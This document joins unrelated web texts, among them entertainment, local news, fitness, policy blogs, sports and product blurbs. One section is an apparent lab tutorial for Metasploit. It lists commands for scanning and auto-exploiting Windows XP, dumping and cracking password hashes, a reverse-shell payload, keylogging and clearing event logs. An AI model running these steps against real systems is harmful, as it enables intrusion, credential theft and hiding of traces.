Jordan Catalano Jared Leto, erstwhile actor and singer for the band 30 Seconds to Mars. He and his bandmates were visiting our company video studio to do an interview, and they were all lovely. We were even lucky enough to snag a photo of ourselves with Leto and his beautiful silky hair. But of course, immediately after he went on his way, we realized there was so much more we should have said to him, but didn't. In lieu of sending his publicist crazy emails (which is not entirely out of the question), we've compiled this post of fantasy things we wish we could have said to Jared.
1. "You're always closing your eyes like it hurts to look at things."
2. "I have said like eight sentences to you my entire life."
3. "Huge events take place on this earth every day. Earthquakes, hurricanes, even glaciers move. So why couldn't you just look at me?"
4. "I was just thinking? Could you maybe have dyslexia?"
5. "Your cuticles are like little moons."
6. "I just like how you're always leaning. Against stuff. You lean great."
7. "Excuse me, but you have a tiny leaf in your hair."
8. "We both stopped talking. Part of your sleeve was touching my arm. I don't know if you knew. Then everything started to seem perfect for some reason. The feel of your shirt against my elbow, the fact that I still had an elbow. It was the perfect moment for you to kiss me, for you to anything me."
9. "Quit it! I mean you have to work up to that. I didn't open that wide at the dentist."
10. "Love is when you look into someone's eyes, and suddenly, you go all the way inside, to their soul … and you both know, instantly."
11. "It's amazing the things you notice, like the corner of your collar that was coming undone. Like you were from a poor family and couldn't afford new shirts. That's all I could see. The whole world was that unraveled piece of fabric."*
*If you couldn't tell by now, all of these are quotes from "My So-Called Life." We also would have liked to ask him to have sex with us, but you know …


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An infill development for 3000 proposed dwellings in Melbourne's west has stalled.
The Department of Defence was meant to have prepared a 128-hectare site in Maribyrnong, about 11 kilometres from Melbourne's central business district, for development by 2013. But Defence has not started the three- to five-year land rehabilitation process, which the state and federal governments have agreed must happen before Victoria buys it.
In 2009, the federal government announced Defence would hand over the site to Victoria's urban renewal authority, Places Victoria, upon suitable preparation.
In response to questions about the delay, a Defence spokesman said a "remediation action plan" was still being drafted and the cost of works would then be estimated.
Places Victoria released a "vision" paper for the site in September 2010, under the former state government when the authority was known as VicUrban. The paper stated it would take 10 to 15 years to develop the land, which could one day accommodate about 6000 people. About 20 per cent of dwellings were to be earmarked for affordable housing.
A Places Victoria spokesman said the authority was still interested in developing the site for housing because of its prime location. "As part of any potential urban renewal of the site, consideration will be given to ways in which private investment in the site might drive employment in the inner west," he said.
The site was used for stabling army horses early last century and, from the 1940s, employed up to 8000 people in explosives and missile factories.
The Defence spokesman said: "Noting the inherent uncertainties when managing contamination issues, Defence is committed to ensuring it has a sound understanding of . . . [site conditions] in order to prepare a considered plan for implementation."
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Senate Democratic Leader Malcolm A. Smith Appoints Brooke Ellison To Stem Cell Board
Noting her lifetime of advocacy and achievement, State Senate Democratic Leader Malcolm A. Smith (D-St.-Albans) today announced his nomination of stem cell research advocate Brooke Ellison to serve on the Empire State Stem Cell Board formed to oversee New York State's sponsorship of cutting-edge biomedical research.
Ellison, who became paralyzed from the neck down after being struck by a car in 1990, is a nationally known proponent of stem cell research as well as an author and motivational speaker.
"I can think of no one better qualified than Brooke Ellison to serve on the Empire State Stem Cell Board," Smith said. "Stem cell research, and its potential for treating serious medical conditions, has been the core of Ms.Ellison's recent life work as a motivational speaker, author, public policy
advocate and political candidate."
Ellison said: "It is such an honor to be appointed by Senator Smith to serve on the Empire State Stem Cell Board, and to join my fellow board members in advancing a cause I so strongly believe in. Through the Stem Cell Board, and under the guidance of Governor Spitzer and Lieutenant Governor Paterson, New York is helping to forge a necessary path towards scientific and medical breakthroughs that can change the way we understand some of the most enigmatic conditions. Just as importantly, though, the work provided under this Board is the manifestation of hope for millions of New Yorkers, and I am proud to be a part of it."
Lieutenant Governor David A. Paterson said: "Brooke Ellison is not only a dear friend, but an inspiring and articulate voice for the promise stem cell research holds in giving scientists a better understanding of how the human body functions. I look forward to the great work Brooke will
accomplish on the Stem Cell Board, and I thank Senator Smith for nominating such an exceptional candidate to help guide the future of advanced biomedical research in New York."
A graduate of Harvard University and its Kennedy School of Government, Ms.Ellison holds a Master's degree in public policy. Her book, "The Brooke Ellison Story," chronicles Ms. Ellison's life from the time of her 1990 accident to her work as an undergraduate at Harvard where she majored in psychology and biology, graduating in 2000. The book later inspired a film about her life directed by Christopher Reeve.
In 2006, she campaigned for a seat on the State Senate, focusing on health care, education and housing issues in her bid to represent Long Island's 2nd Senate District.
The Empire State Stem Cell Board was proposed by Governor Eliot Spitzer and Lt. Governor David Paterson in the 2007-08 Executive Budget. $600 million has been allotted for disbursement by the Board over the next 10 years in support of stem cell research.
The board is comprised of two committees with a total of 26 members. A Funding Committee will review grant proposals, recommend scientific and medical oversight standards and solicit Requests for Proposals (RFPs). The Ethics Committee -- to which Ellison has been nominated -- is designed to make recommendations to the Finance Committee on the scientific, medical and ethical issues surrounding various stem cell projects seeking funding.
Stem cell research may lead to landmark treatments for many serious diseases, including heart disease and diabetes. Under the right conditions, unspecialized stem cells can develop specific functions, with the possible medical benefit of serving as replacement cells or tissue.


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This guide shows how to setup PostgreSQL as the database to power metasploit, which then leads onto using metasploit's db_autopwn features to carry out a collection of remote exploits in an attempt to gain access to the target system(s). When/If access has been gained; it shows a few basic things afterwards, such as:
- Gathering information – OS, interfaces, privilege level, running processes, idle time, screen shoots and keylogging
- Cracking user's passwords – Finding passwords to access the system
- Gaining shell access – Then transferring meterpreter agent via TFTP
- Handling multiple sessions – Which vulnerability to interact with.
- Process migration – Move code into another process
- Privilege escalation - Attempt to gain SYSTEM level privileges.
- File management – Navigation, Down/Up-load, editing, viewing files/folders
- Program control – Execution and Killing programs
- Misc – Covering tracks and Power management
- Configure PostgreSQL database to be able to function with metasploit
- Setup metasploit to use PostgreSQL and how to connect automatically at startup
- Use nmap from metasploit to scan for target(s)
- Running db_autopwn to attempt to run a collection of remote exploit(s) on discovered target(s) (The two exploits which work were: windows/smb/ms04_011_lsass and windows/dcerpc/ms03_026_dcom)
- Dump the hash table, then by using John The Ripper break password(s)
- Using an alternative method rather than meterpreter to transfer files, TFTP (Useful if you only have shell accesses and wish to use meterpreter shell instead OR interact with another system)
- Migrating to a different process which hides backdoor from running process lists (makes it less obvious of injection and allows the backdoor to be deleted if needed. Plus if the services that were exploited didn't have interactive access to the desktop, it now would)
- Escalate Privilege which allows the attacker to gain more control over the system.
- Various commands to navigate through the file system as well as altering the file structure.
- Basic commands to collect information about the system & user.
What do I need?
- PostgreSQL – (Can be found on BackTrack 4-R2)
- Metasploit – (Can be found on BackTrack 4-R2)
- Nmap – (Can be found on BackTrack 4-R2)
- TFTPD – (Can be found on BackTrack 4-R2)
- Text Editor – (Kate can be found on BackTrack 4-R2)
Notes:Code:/etc/init.d/postgresql-8.3 start /etc/init.d/postgresql-8.3 status passwd -d postgres su postgres psql ALTER USER postgres WITH PASSWORD 'g0tmi1k'; \q passwd psql -l createdb msf psql -l exit clear msfconsole db_driver db_driver postgresql db_connect postgres:firstname.lastname@example.com/msf exit kate ~/.msf3/msfconsole.rc db_driver postgresql db_connect postgres:email@example.com/msf db_workspace -a msf clear msfconsole db_hosts db_nmap -O -sS -sV -v 192.168.0.100-110 #192.168.0.0/24 -A db_hosts db_autopwn -t -p -e -b #db_autopwn -t -x -e -r -T 30 clear sessions -l -v sessions -i 1 sysinfo ipconfig getuid hashdump kate -> paste -> Save: ~/hashdump cd /pentest/passwords/jtr/ ./john ~/hashdump clear start-tftpd cd /tmp ifconfig msfpayload windows/meterpreter/reverse_tcp lhost=192.168.0.33 X > g0tmi1k.exe ls background clear search handler use multi/handler show options exploit -j sessions -i 1 shell cd C:\ tftp *-i 192.168.0.105 GET g0tmi1k.exe g0tmi1k.exe exit sessions -l -v sessions -i 3 getuid ps migrate [Explorer.EXE] getuid getsystem #getprivs if not enabled, migrate if that fails - and try again getuid pwd cd C:/ ls mkdir g0tmi1k ls cd g0tmi1k ls pwd getwd lpwd echo have you... > /tmp/message.txt upload /tmp/message.txt C:/g0tmi1k/ ls edit message.txt A -> g0tmi1k? -> esc -> :wq cat C:/g0tmi1k/message.txt download message.txt /tmp/ execute -*f notepad -a message.txt del message.txt ls cd \ ls rmdir g0tmi1k ls ps kill [notepad] idletime screenshot run keylogrecorder mail.google.com thisismyusername thisismypassword clearev shutdown exit kate -> open -> /path/to/key/logger/file/which/
- I had deleted postgres's password before recording the video. This is the reason why it didn't prompt me for "(Current) UNIX password:". The solution would be to type "passwd -d postgres" before "su postgres". The commands have been updated to reflex this.
- Metasploit can do A LOT more – this is a brief insight to it
- db_autopwn may not work on your chosen target - Target in the video is running Windows XP SP1
- db_autopwn is "noisy" as it tries a mass of exploits.
- Windows XP by default has a TFTP client built into it, Windows 7 doesn't.
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Introducing: CFCC's Assessment System!
The long-awaited month of June has officially arrived and for CFCC that means the introduction of our brand spanking new assessment system! The name of this system of assessment is The Functional Movement Screen. You can read all about the history, purpose, and intent behind the "FMS" here. That said, I also wanted to have the opportunity to talk to you all about how CFCC will be translating the FMS for our needs and specific population.
1. The Functional Movement Screen is a baseline. Imagine that you are going to the doctor but instead of measuring your bodyweight, your blood pressure, and taking your cholesterol levels, your doctor just asks you how you have been feeling lately. You can imagine that "how you're feeling" is not a specific enough rubric for measuring your overall wellness. In our realm of wellness, just because you feel ok to move around like an athlete doesn't mean that you're 100% capable of doing so in a way that's healthy for you. Just as there is a solid understanding of when too much variance from the norm in your heart rate is too much, there's also a way to determine whether your hamstring flexibility, single leg stability, or squat is too varied from the norm. The Functional Movement Screen is a way to formulate a solid measure of your abilities as an athlete PRIOR to entry into activity.
2. The Functional Movement Screen is not JUST a baseline for new athletes. Let's say that you step off a curb one fateful evening and sprain your ankle. Sadly, this injury has left you inactive through your right ankle for 5 months. When you return to CrossFit, a Coach says to you in a squatting class that you seem to be shifting a lot to the left side as you squat. You tell the Coach that this is probably because of your ankle injury. In telling the Coach this, you may be right, but I would also ask you to consider why you sprained that ankle in the first place; did you step off the curb and land in an unstable position because that side has always been weak? Or, was this a fluke accident that has now created a deficit in your right side? If we had screened you prior to activity before your injury and then again AFTER your injury, we would be able to know. As it stands, your goal as an athlete in spite of any injury or imbalance you may have had in the past is to bring your FMS score up as far as you can year to year. Doing so has been correlated with less chance of injury and longevity in many sports.
3. The Functional Movement Screen is a way to help our staff define our scope of practice. One of the first and most important things I had to learn as a Coach is when a problem is simply NOT within my ability to solve. The FMS is a GREAT tool for defining when we must pass on the responsibility of creating pain-free movement to a more specifically qualified medical professional. You will see this occur in your tests if you present with pain while completing any of them. I would encourage you all not to be afraid of a diagnosis like this! Pain does not have to be a normal part of your athletic life and it ABSOLUTELY shouldn't be!
4. The Functional Movement Screen is a way to make your performance BETTER for LONGER. The FMS has been used by many professional sports organizations one of which is the NFL. In performing the FMS on NFL players prior to training seasons and specifying each player's warm-up for the single WEAKEST point of their test, re-testing proved higher across the board in ALL areas of the test. What does that mean for you? If your rotary stability test is the worst out of all your tests, and you follow along with the warm-up guidelines that will be posted, you may improve ALL of your other tests simply by working on one movement pattern. This saves you time, the trouble of potential injury, and allows you to perform better!
You'll be screen on elements of mobility, stability, and coordination. The entire test is unloaded. You'll also be screened, as mentioned above, for any pain you may have in any position. The scoring system for the FMS is based on a few simple rules:
1. After you've been taught the test, you will have only three chances to try to score well on each test. So, if we're testing your deep squat, you'll only get three tries at giving us the best version of the squat you've got.
2. You will be scored based on a 0-3 point system in which you will receive a 0 if you have pain during a movement, a 1 if you are unable to perform a movement under the stipulations given, a 2 if you are able to perform the movement but less than perfectly, and a 3 if you are beyond a shadow of a doubt performing the movement perfectly. As you might imagine, few people score all 3s!
3. If you do present with any asymmetries, your score for those asymmetries side-to-side is always the LOWEST score. Your asymmetry is noted, and in many cases it would be far better to score a 2 on your left, and a 2 on your right than it would be to score a 2 on your left and a 3 on your right.
4. If you present with any pain during any movements, your score for those particular tests will become a 0 and it will be recommended that you see a medical professional about resolving the cause of the pain.
Generally, scoring 2s for all tests will allow you to freedom to train within the correlated movement patterns.
Prehab is a new class that I have created to allow all of you to spend some time with FMS related tests and mobilizations in a setting that is restorative in nature and informative in format. You can think of this class as a blend of Restorative Yoga, Mobility WOD, and working on specific movement patterns that I have found are weakest in many of the members of Liberty Barbell Club who I have been testing screening out on for past few weeks. Any level of athlete is fine to attend, and nothing is needed to attend except yourself! You can absolutely double on classes before or after this one and you can also attend if you are sore or not. These classes will be in place for the summer on Saturday mornings.
You can sign up at the Front Desk for one of the time slots here. Those times are slated to begin NEXT MONDAY. You can expect the whole screen to take about 20 minutes. You will be emailed directly after completion of the screen.
Two times of the year we will be taking a whole month to offer times where you can come get the screen as part of your membership. We will earnestly attempt to get ALL of you in here, but some of the onus is on you to actually sign up and show up for a time slot. The next time we will test will be in the winter.


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31 Jan
Women and Children
A few weeks ago, when my agency was doing it's 3rd or 4th round of layoffs of the last 18 months, an ex co-worker and dear friend of mine sent me a text message that said, "Don't know if you're on the list, but if you get cut, I'm forming an 'unemployed gals' book club' and you are welcome to join." I laughed out loud. It was a completely wonderful gesture to get me through a very hard day. I was lucky to have kept my job that day. We lost a lot of wonderful people.
I work for a subsidized child care agency serving low-income families in Sacramento County. Like all other early childhood education programs in California and across the nation, we have seen our budget slashed and slashed again. Governor Arnold Swartzeneggar line item vetoed stage 3 funding for child care with the last signed California budget, eliminating access to quality child care for 55,000 needy children across the state. Stage 3 funding was for parents who are not receiving welfare assistance and who haven't done so for at least two years. When a single mother has to go to work to feed her family and child care costs as much, sometimes more than, her housing, how does she pay for child care and still put food on the table? Without help, she more than likely cannot sustain a household. Subsidized childcare invests in a marginalized population and small business owners. It gives the parents access to viable jobs and quality childcare so that the parents can pay taxes and the children can have a safe place to go. Subsidized childcare invests in day care centers, family child care homes and trusted family members so that our youngsters are enriched while their parents are at work. Its benefits are many-fold.
Childcare is one of the safest investments a nation can make. According to a 2009 study on the economics of child care by Cornell University, "Every dollar invested in child care provides an economic impact of $3.50 to the economy in goods services and tax revenue." Still, our elected officials don't always make the smart decisions for long-term investments, especially when decisions are becoming as difficult as the choice between clean water and paved roads. Governor Jerry Brown and the new California legislature are facing some very tough decisions with the California budget; subsidized child care may face further detrimental cuts, making the most vulnerable echelons of our society ever more so.
I know that as our local, state and federal governments try and make up for the fact that they have been spending beyond their means for several years now, more and more programs that people rely on will get cut. I know that I may be joining my friend's book club soon. I also know that I am in a lot better position than most.
My friend with the book club, I'll call her Maya, is a mother of three. She was laid off over a year ago and her husband met the same fate shortly thereafter. Both she and her husband worked in the social services sector. Their entire family is currently receiving MediCAL. Maya explained that she applied three weeks after her husband was laid off, before he received his first unemployment benefits check. At the time Maya applied, the Department of Human Assistance counted only her unemployment and her entire family was able to qualify. Unfortunately, with the quarterly report that included her husband's unemployment, they are being discontinued at the end of this month. For now, her kids will be placed on the "Healthy Families" program but that program faces deep cuts also. She and her husband, both of whom have chronic medical conditions, will get by on "prayers" despite still being eligible for COBRA through their former employers because the premiums are out of reach.
Like many American families, Maya's family has moved in with elders, in this case her parents, in order to help absorb the impact of some of life's living expenses. She loves her family and is a very proud wife and mom but explains that she thinks there is something unique to women in this current economic situation. "When we are employed, we take care of our households (groceries, cleaning, doctor's appointments, school functions, etc.). Once unemployed, we continue to do them, however, we are expected to do 'more,' because we are 'no longer working.' In between laundry loads, cooking, dropping/picking kids from school, the day goes by quickly and we soon realize we have less time for job searching than our male counterparts."
Maya worries specifically that women have faced lay-offs at a higher rate than men, observing, "Nearly two years ago, I joined a musical band of about 10 professional people. Eventually, many of us were laid off from our respective jobs. Out of those of us who were laid off, 5 of us are female and only 1 is male." But even with her observations of inequality, Maya's outlook is still very positive. On the subject of the book club I asked her if she had a specific focus. She stated, "I don't think we'll be reading Mead or Beauvoir, but definitely not Danielle Steele, either. For our first meeting, we chose "The Red Tent" by Anita Diamant. A good read that will keep our minds busy but not fill it up with fluff, either!" When it comes to resilience, women and other marginalized populations have a thing or two we could all learn from.
Even if our nation maintains a positive attitude on the subject, however, the cuts to childcare, education, health services and other similar supportive services disproportionately affect women and children. While there is still a very long way for women to go in society, the leaps and bounds made in the last century have been critical to the equality of the sexes: for safety, health and equal opportunities for women. As the economy unravels and deep cuts are made, it is critical that our governments don't turn back the clock on women and other marginalized communities. Unfortunately, based on what we're seeing now, it looks like women and other marginalized communities will be the sacrificial lamb as the collapse of industrialized civilization continues. It is our responsibility to lay out our priorities and make those priorities known to our elected officials. As tough decisions are made all over this country about where to spend the remains of our resources, we have to decide if our priority is people or pavement.


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Big Picture: Winterizing Your Home
If you want to insulate your pocketbook against an overdraft, don't forget to insulate your drafty home.
New homes give owners extra protection against the cold. But even in an old home, there are things you can do to insulate yourself from high heating bills.
In the homes he builds, Danny Starostka follows a new building code called the REScheck. Both Hastings and Kearney have adopted new energy efficiency standards.
Starostka said, "We make sure to put house wrap around it and tape around the windows."
Danny now insulates interior basement walls. Along with efficient heating and cooling, and better windows, buying a new home can actually save money on heating bills.
"People buying these homes moved in from old homes and now they're getting energy savings, a couple hundred dollars a month in the winter time," he said.
But if a new home's out of the question, you can still save money in an old house. Even a ten dollar furnace filter can be a good investment this time of year.
"Especially in this season because there's so much dirt in the air right now," said Bob Derr, a manager at Builders Warehouse.
It's windy and dry, but that makes it a great time to seal up holes in a home's foundation, doors, and windows.
"Now's a really good time to do it because it's not so cold at night, warm enough in the day.
A good Saturday project, take a few hours go around the house, now's a good time to do it," Derr said.
Your local home improvement store has everything from kits to seal drafty windows, to every kind of caulk and foam you'd need to keep the warm air in and cold air out.
Derr said, "You definitely don't want cool air coming in, so just got to seal all the holes around the house."
Whether your home is old or new, you can invest in things like air conditioner covers, and programmable thermostats that allow you to get a better control of your home heating bills.
Reporter's Notes by Steve White:
The Alliance to Save Energy suggets upgrading inefficient windows, glass doors, and skylights with energy-efficient Energy Star windows. The ASE says that can cut your heating bill up to 34 percent.
Experts suggest replacing furnace filters once a month to help units run more efficiently.


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The 33-year-old former midfielder, who recently complained about his lack of first-team action from Jose Mourinho at Inter Milan, is reportedly being targeted by Blues boss Carlo Ancelotti as he looks to bolster his squad ahead of players departing for Africa Cup of Nations duty in January.
Vieira, who spent nine seasons with Arsenal prior to leaving for Inter in 2005, would be a good choice given his vast knowledge of the Premier League. And Drogba says the Frenchman would be welcomed with open arms.
"Patrick Viera will be a good addition to our squad, if we can recruit," he told RTL.
"We know that we will lose two midfielders in January. John Obi Mikel and Michael Essien will be in Angola for African Cup of Nations.
"Vieira? We'd take him anytime. We played against him in pre-season in America. He was ready, in good form and match fit."
The main obstacle to securing a deal for Viera is the Blues are currently unable to make any new signings during the next two transfer windows following the Gael Kakuta saga, but they hope to have the ban lifted following an appeal.


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Dear journals
Three literary magazines flourish in tough times.
Thu Apr 16 2009
Photograph: Barbara Nitke
For anyone who hasn't been keeping track of how the economic downturn is affecting the book world, consider this: On April 14, a group of writers, editors and agents participated in a roundtable titled "Is There a Future for the Literary Novel?" The question is rhetorical, but the fact that someone's asking at all means that writers and readers are concerned. Still, there is one sector of publishing that's putting out fiction and poetry as if it's 2007: literary magazines (Open City and Fence are good places to start). This week, three journals are releasing brand-new issues full of vital, surprising work. Reading these pages should reassure you that literary fiction is doing just fine. Can it continue to make money? Maybe not, but the editors of these publications are too passionate (and too busy having fun) to stop and worry about it.
The New York Tyrant
Started in 2007, The New York Tyrant is the brainchild of GianCarlo DiTrapano, a former intern at FSG who decided to sell his house in New Orleans to start a literary mag, which he now produces in his studio apartment in Hell's Kitchen. "I look for writing where it's evident the authors have sweat over it," he recently told TONY over drinks in midtown. "I respect writing where the authors expose the shit out of themselves and take risks."
DiTrapano favors what he calls dark writing with hope, and has published Michael Kimball (author of the novel-length suicide note Dear Everybody), avant-horror writer Brian Evenson, poet Sarah Manguso and author-teacher Gordon Lish. "We will publish anything, no matter where we find it or who the hell wrote it, as long as the agency of speech has taken out an investment in the writer," DiTrapano says. He runs fiction by well-known writers, never-heard-of boundary-pushers and dead geniuses, such as the late story writer Breece D'J Pancake. He will begin publishing books next year.
Though the magazine is literary, this voracious editor wants a broad audience. "If I catch someone's attention and get a copy of the Tyrant into a hand that it wouldn't normally wind up in, then I am happy—that's why I throw fun parties." When an issue came out featuring Project Runway star Chris March (DiTrapano's boyfriend, it turns out) in a bear suit, he was pleased to learn that he obtained a few new readers. "Many sales of that issue came from the bear community. It's a perfect example of getting it into the hands of someone who wouldn't have normally purchased one of our issues."
Agriculture Reader
Agriculture Reader is so DIY that the first issue was entirely handmade. This is no small feat: According to Jeremy Schmall, who edits the publication with Justin Taylor, each cover had to be hand-painted and hand-cut. Now in its third installment, the zine-ish publication leans more toward poetry than the Tyrant does, but it shares a commitment to publishing bold voices and finding an audience. "Publishing is a conversation, and we don't want to only be talking to our own little clique," says Taylor. "I wouldn't say that we have any particular aesthetic criteria, other than that the work has to thrill us in some way."
The latest issue satisfies on that front, featuring Mark Edmund Doten's motormouthed, sociopathic and funny monologue by our former VP ("Cheney"); Joshua Cohen's strange love story about a Jewish man who falls for an Islamic terrorist who wanted to kill him; poetry by Christian Hawkey and Rebecca Wolf; and much more. In addition to the writing, what sets Agriculture Reader apart is its raw and witty artwork by Joey Parlett. "We're trying to make this as good to look at as it is to read," says Schmall. According to Taylor—who, a formidable fiction writer himself, recently signed a two-book deal with HarperPerennial—the journal's visual flash has won them readers beyond the typical journal consumers. "People see the magazine and they don't go, 'Oh, Christ, a poetry mag.' They go, 'Hey, cool, what's that blue thing with the hole in it?'"
Now in its tenth year, Noon is the most established journal of this trio. The latest issue contains work by two National Book Award finalists, Lydia Davis and Christine Schutt, both of whom have been long associated with the magazine. But even if it shares some authors with mainstream publishers, Noon still shimmers with courage, strangeness and unknown voices. The journal's founder and editor, Diane Williams, says she's thrilled when she receives a submission by an unknown. "I am indifferent to a writer's pedigree," she says. "I'm on the lookout for originality and discipline."
A writer of clenched, vaguely gothic and sexually charged fiction herself, Williams has a penchant for devout stylists and squirm-inducing topics. The tenth-anniversary issue features Rebecca Curtis's "On Rape," a disturbing (and deeply ironic) story detailing how sexual assault might benefit women; Gary Lutz's "I Have to Feel Halved," a stunningly constructed story that somehow molds the experiences of its mediocre narrator into brilliant shapes; and a peek into the obsessive world of Clancy Martin (whose debut novel, How to Sell, appears in June).
When asked how she selects writers, Williams puts it simply: "Noon is a refuge for writers who are crucial to our culture." These challenging writers might not be as marketable as they used to be (if they ever were). But as long as places like Noon are around, their work will have a future, and will be reminders of how original writing can be, even in a bad economic climate.
Rebecca Curtis, Clancy Martin and Christine Schutt will read at Noon's party on Fri 17 at the Mercantile Library of New York. The New York Tyrant throws a party with live music on Apr 24 at Bar Nine.
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The Spektrum DX Wireless Transmitters are top of the line remote controls for the Freefly Systems Movi Stabilizers. Key features include:
- Dual Axis Control. Use the right thumb stick for full control of both Pan & Tilt functionality.
- Independent Axis Throttle. The left stick controls the Pan speed while Tilt speed is controlled by a separate knob.
- Rechargeable Battery. The included Spektrum battery pack recharges inside the remote without the need for removal.
Please Note: Due to inventory complications we rent out the DX7s and DX8 interchangeably. Their features are identical for the purpose of remotely controlling the Movi.


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The World's Hairstyles
Show your style is all about hairstyles from visitors just like you. No super models, celebrities or movie stars on these pages. These are the styles and haircuts of real people who do not have a five member style team touching up their hair seconds before the pictures were taken.
Who can submit a story and pictures? Anybody and everybody! Men, women, teenage boys, teenage girls, and parents can submit kids, both for a boy or girl. What kind of styles can be sent in? Anything and everything!
From extreme alternative to your version of a bob. Hair length can be short, medium, long or a asymmetrical combination of all three. Perhaps you would like to share and tell about your new color, a complete color change, new highlights, or under color.
Do you have long side swept bangs or maybe Bettie bangs for a page on bangs and fringes. Bald is the new cool, men's and women's bald styles are welcome and if you have a scalp tattoo, please include a view. This will give you some ideas of hairstyles, if you do not see your style below, not to worry, simply send it in and it will be placed where it best "fits"
I am looking forward to seeing styles from around the world and how the popular hairstyles are personalized by each of you. If you were inspired by a hairstyle or haircut you loved at one of the hairstyle galleries or one of the articles here at Beauty And The Bath, let us know!
Featured Style - Brad's Disconnected Stacked Bob
Hi, my name is Brad and I am 37 years old from Philadelphia. I recently had my hair cut into a disconnected stacked bob and I love it. The back is my favorite so I decided to show this view.
I use a light smoothing serum on damp hair and blow dry while creating lift at the crown. If I want extra volume I will back comb at the crown and finish off with hairspray. This is an easy style to maintain and styling time is short. Thank you and happy hairstyling!
Show Your Style And Share Your Story ~ The World's Styles
So, no matter how you say hairstyle, be it:
Dansk (Danish) n. - frisure Nederlands (Dutch) haarstijl, kapsel, haardracht Français (French) n. - coiffure, coupe de cheveux Deutsch (German) n. - Frisur Ελληνική (Greek) n. - κόμμωση, χτενισιά Italiano (Italian) acconciatura Português (Portuguese) n. - estilo (m) de penteado, moda (f) Русский (Russian) прическа Español (Spanish) n. - peinado Svenska (Swedish) n. - frisyr 中文(简体) (Chinese (Simplified)) 发型 中文(繁體) (Chinese (Traditional)) n. - 髮型 한국어 (Korean) n. - 머리형, 헤어스타일 日本語 (Japanese) n. - ヘアスタイル, 髪型 العربيه (Arabic) (الاسم) تسريحه الشعر, طريقه ترتيب الشعر עברית (Hebrew) n. - עיצוב שיער
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Why could this be useful? Well, it means that computers can be linked together directly, without the need to go through a third party. For common web worker tasks like collaboration on documents, you won't need to use a web app — just have Opera up and running on your machine with the appropriate service installed. Everyone with Opera will effectively be able to host all of their own web apps. In theory, this could lead to a whole new generation of decentralized peer-to-peer collaboration and sharing applications running through the browser. Even with the limited range of services available now, Unite is useful — with it, sharing large files with friends, colleagues or clients just became incredibly easy.
Unite provides the possibility of an exciting new platform for applications, and could very well shake up the way we think about web apps. However, its success (and whether it actually reinvents the web) will ultimately depend upon how many useful or interesting services become available for it. Opera remains a niche browser — as a platform, will it be attractive for developers? Another problem for Opera is that if it looks like Unite will be useful, it's highly likely that similar functionality will appear in the more widely-used browsers like Firefox; Opera has a long history of introducing innovative browser features that have been "borrowed" by the larger vendors.
Opera Unite is currently in alpha, and free to download for Windows (s msft), Mac (s aapl) and Linux (it will eventually be supported on mobile devices, too). There is plenty of documentation, introductory videos and more available at the Unite web site.
What do you think of Unite? Does it really "reinvent the web"?


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Heat Host Spurs In NBA Finals' Game 3
MIAMI (AP) - The Miami Heat have 13 straight games after a playoff loss, a trend that held true in the NBA Finals and sent their series against the San Antonio Spurs back to South Florida tied at a game apiece.
The Heat say it's mostly about the mental approach.
And they see the Spurs reacting in the same way.
Game 3 of the NBA Finals is Tuesday night in Miami, and even though the Heat now hold the home-court edge they know this series is a long way from over.
Heat guard Dwyane Wade says he knows the Spurs will be better in Game 3 and that his team needs to ``come out and do the same thing.''
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Urban started Aikido in 1977 and has been a student of Ichimura Sensei, Igarashi Sensei, and Kobayashi Sensei.
He stayed as an uchi-deshi at Kobayashi dojos in the 1980's for 18 months and also trained at Aikikai Hombu dojo.
Presently head instructor of Iyasaka dojo in Stockholm, Sweden.
6th dan Aikikai
More information about Iyasaka dojo can be found here
Tickets are available on the day
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